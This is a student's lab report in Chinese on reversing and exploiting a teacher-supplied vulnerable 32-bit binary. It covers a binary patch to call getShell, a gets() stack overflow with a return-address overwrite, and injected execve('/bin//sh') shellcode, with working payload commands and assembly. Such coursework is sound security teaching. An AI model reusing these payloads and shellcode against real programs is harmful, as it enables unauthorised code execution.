20242301 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242301 2026-2027-1《网络与系统攻防技术》实验一实验报告
姓名:曹恒瑞
实验题目:逆向破解与 BOF
实验对象:教师提供的 pwn1 32 位 Linux 可执行文件
实验环境:Kali Linux 虚拟机,主机名 caohengrui
1. 基础知识
1.1 ELF、反汇编和十六进制编辑
ELF 文件包含程序头、节、机器指令等信息。file、readelf 可用于确认架构、入口和符号;objdump -d -M intel 将代码段中的机器码显示成 Intel 风格汇编。十六进制编辑器修改的是文件字节,必须先算出目标指令的文件偏移,不能把反汇编中的虚拟地址直接当成编辑器位置。
本实验的 pwn1 是 32 位、小端、i386、非 PIE 程序,保留了 main、foo、getShell 等符号。foo 使用不检查长度的 gets,输入过长时可能覆盖栈上的保存帧指针和返回地址。实验文件的 GNU_STACK 标记为 RWE,为在栈上执行注入代码提供了条件。这些结论只针对本次提供的文件与实验环境。

1.2 本实验使用的机器指令
汇编指令没有脱离操作数和位移的唯一“机器码”。下表是我用 as --32 汇编具体示例后,使用 objdump 得到的编码:
| 汇编示例 | 机器码(十六进制) | 作用 |
|---|---|---|
nop |
90 |
不改变程序状态,执行后顺序前进 |
cmp eax, 1 |
83 f8 01 |
比较 eax 与 1,更新标志位 |
je target |
74 04 |
相等(ZF=1)时短跳转 |
jne target |
75 02 |
不相等(ZF=0)时短跳转 |
jmp target |
eb 00 |
无条件短跳转;这里目标恰在下一条指令 |
74、75、eb 后面的字节是相对于下一条指令的位移,目标改变时位移也要重算。

1.3 栈溢出、返回地址与 Shellcode
调用函数时,栈中保存返回地址;函数执行 ret 时从栈中取出它。foo 的输入缓冲区起始位置是 [ebp-0x1c],到保存返回地址相隔 0x1c+4=32 字节。因此,32 字节填充后紧跟的 4 字节可覆盖返回地址。x86 小端序使地址 0x0804847d 在输入文件中排列为 7d 84 04 08。
Shellcode 是作为输入放入进程内存并由处理器执行的机器码。本实验编写的 32 位 shellcode 构造 /bin//sh 字符串,准备 execve 参数,再执行 int 0x80。其运行依赖本实验文件的可执行栈;调试时还关闭了 GDB 中的地址随机化以复现栈地址。
2. 实验内容
- 分析原程序的控制流,手工修改
main中的调用指令,使其转而调用getShell。 - 利用
foo中的gets缓冲区溢出,构造输入覆盖返回地址并进入getShell。 - 编写并汇编自己的 shellcode,将它放进
pwn1的输入中,覆盖返回地址使程序转入注入代码。 - 实践
hexedit,并验证 NOP、CMP、JE、JNE、JMP 的具体机器码。
3. 实验过程
3.1 环境准备与原程序分析
我将教师提供的 pwn1 复制为 20242301_pwn1_original,保留原件,再准备单独的修改副本。起初在 openEuler 中能反汇编,却无法执行:该 32 位 ELF 指定的 /lib/ld-linux.so.2 不存在。转到 Kali 虚拟机并补齐 32 位运行环境后,原程序输入 hello 可以正常回显。
反汇编结果中,getShell=0x0804847d,foo=0x08048491,main=0x080484af。main 在 0x080484b5 的原始指令为 e8 d7 ff ff ff,即调用 foo;foo 在 0x0804849d 调用 gets。

3.2 修改可执行文件,使 main 调用 getShell
call rel32 的形式为 e8 加 4 字节相对位移。下一条指令地址是 0x080484ba,目标 getShell 是 0x0804847d,故位移为 0x0804847d-0x080484ba=-0x3d;其 32 位小端表示为 c3 ff ff ff。只需将原位移第一个字节 d7 改成 c3。
根据 .text 节的虚拟地址 0x08048380、文件偏移 0x380,要改的虚拟地址 0x080484b6 对应文件偏移 0x4b6(十进制 1206)。先在 20242301_pwn1_patch 副本上修改并验证:
printf '\xC3' | dd of=20242301_pwn1_patch bs=1 seek=1206 count=1 conv=notrunc status=none
od -An -tx1 -j 1205 -N5 20242301_pwn1_patch
objdump -d -M intel 20242301_pwn1_patch | grep -A8 '<main>:'
字节变为 e8 c3 ff ff ff,反汇编变为 call 804847d <getShell>。运行该文件,在获得的 Shell 中执行 echo PATCH_SUCCESS,观察到相应输出。

随后又用 hexedit 打开独立副本 20242301_pwn1_hexedit,定位 0x4b6,将该处改成 c3 并保存。命令行再次验证其调用目标为 getShell。编辑过程中曾误动别处,排查和修复记录见第 4 节;修复后 cmp 不再显示它与已验证的 patch 副本有差异,运行也输出 HEXEDIT_SUCCESS。



3.3 利用 foo 的 BOF 跳转至 getShell
根据 [ebp-0x1c] 到返回地址的距离,先输入 A×32+BBBB。GDB 显示崩溃时 eip=0x42424242,确认输入的后 4 字节控制了返回地址。
正式 payload 为 A×32+小端 getShell 地址+换行,即末尾为 7d 84 04 08 0a:
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32+(0x0804847d).to_bytes(4,"little")+b"\n")' > 20242301_bof_payload.bin
gdb -q -batch -ex 'break *0x0804847d' -ex 'run < 20242301_bof_payload.bin' -ex 'info registers eip' --args ./20242301_pwn1_original
cat 20242301_bof_payload.bin - | ./20242301_pwn1_original
断点命中 getShell,eip=0x0804847d;在管道运行的 Shell 中执行 echo BOF_SUCCESS 得到预期输出。退出后出现的 broken pipe 和段错误也保留在截图里:覆盖返回地址后原有栈内容并未恢复,不能将此现象写成程序正常退出。

3.4 编写并运行自制 Shellcode
我编写 20242301_shellcode.s,核心指令如下:
.intel_syntax noprefix
.global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx, edx
mov al, 11
int 0x80
汇编并提取 .text 后得到 25 字节代码,检查无 00 字节。将目标文件独立链接为测试程序,运行后在 Shell 中执行 echo SHELLCODE_OK,证明代码本身可用。

为了放入 pwn1,我在 GDB 中停止在 gets 返回后,得到缓冲区起始地址 0xffffce8c。返回地址距缓冲区 32 字节;将代码安排在第 36 字节起,即地址 0xffffceb0。payload 结构为 32 个 A+小端地址 b0 ce ff ff+25 字节 shellcode+换行,共 62 字节。将代码放在覆盖后的返回地址之后,也给 shellcode 的压栈操作留出空间。
python3 -c 'import struct; code=open("20242301_shellcode.bin","rb").read(); assert len(code)==25; open("20242301_shellcode_payload.bin","wb").write(b"A"*32+struct.pack("<I",0xffffceb0)+code+b"\n")'
在关闭地址随机化的 GDB 会话中,断在 gets 之后查看了栈上的代码字节;继续执行时临时断点到达 0xffffceb0,eip 指向注入区,随后截获了 execve 系统调用,参数字符串为 /bin//sh。这证明在该调试条件下,原程序执行了我注入的代码。这里的栈地址来自本次 GDB 实测,不应当视为其他运行条件下的固定地址。

4. 问题及解决方案
问题 1:原 openEuler 虚拟机无法执行 32 位程序。 file 能识别 ELF,objdump 也能显示指令,但运行时提示找不到文件。进一步查看 ELF 解释器发现它请求 /lib/ld-linux.so.2,原环境没有该文件。解决:换用 Kali 虚拟机并安装所需的 32 位运行库,先用原版程序的正常回显确认环境可执行,再继续实验。由此认识到“文件存在”和“动态加载器存在”是两件事。
问题 2:hexedit 版本反汇编正确,却在运行时出现 ld.so 断言错误。 单看 main 已变成 call getShell,不足以证明整个 ELF 没被改坏。我用 cmp -l 20242301_pwn1_patch 20242301_pwn1_hexedit 比较两个副本,发现第 439 个字节(从零计数的偏移 0x1b6)还有一处差异:本应为 00,误成 c3。解决:在 hexedit 中把 0x1b6 改回 00,保留 0x4b6 的 c3;再次比较无差异,运行得到 HEXEDIT_SUCCESS。以后修改二进制文件,必须做全文件差异比较,而不只看目标函数的反汇编。

问题 3:Shellcode 的跳转地址如何确定。 返回到栈上的绝对地址依赖进程实际布局;直接沿用别人的地址,或者将代码放在会被自身压栈覆盖的位置,都可能失败。解决:用 GDB 在 gets 后测缓冲区地址,将代码放到返回地址后的输入区,再用断点检查 eip、代码字节和 execve 参数。GDB 中关闭地址随机化后结果可以复现,但报告中保留这一条件,不宣称常规运行也具有相同地址。
5. 学习感悟、思考等
这次最费时间的不是写出一串 payload,而是弄清每一个数字来自哪里。开始看到 getShell 地址时,我以为把地址写到文件里就能跳转;计算 call 的位移后才明白,e8 后保存的是从下一条指令算起的差值,所以只需把 d7 改成 c3。BOF 部分也是先用 BBBB 让 eip 显示 0x42424242,才确认 32 字节偏移,避免只凭缓冲区声明大小猜测。
十六进制编辑时的失误给我的印象更深:程序能反汇编出预期的调用,却因另一个位置多了 c3 而在加载阶段报错。如果没有和能运行的副本逐字节比较,我可能把问题归咎于 Kali 或 32 位库。以后做这类实验,我会保留原件、只修改副本,并按“字节比较—反汇编—实际运行”的顺序验证。
Shellcode 独立运行成功后,注入到 pwn1 还需要重新考虑栈地址和代码放置位置。GDB 中看到 eip 落到 0xffffceb0,再看到 execve 使用 /bin//sh,比只看到一个 Shell 提示符更能说明到底执行了什么。我也理解了实验条件的重要性:这里有 gets、可执行栈、便于观察的符号以及关闭随机化的调试会话;换一个程序或运行环境,不能照搬相同 payload。

浙公网安备 33010602011771号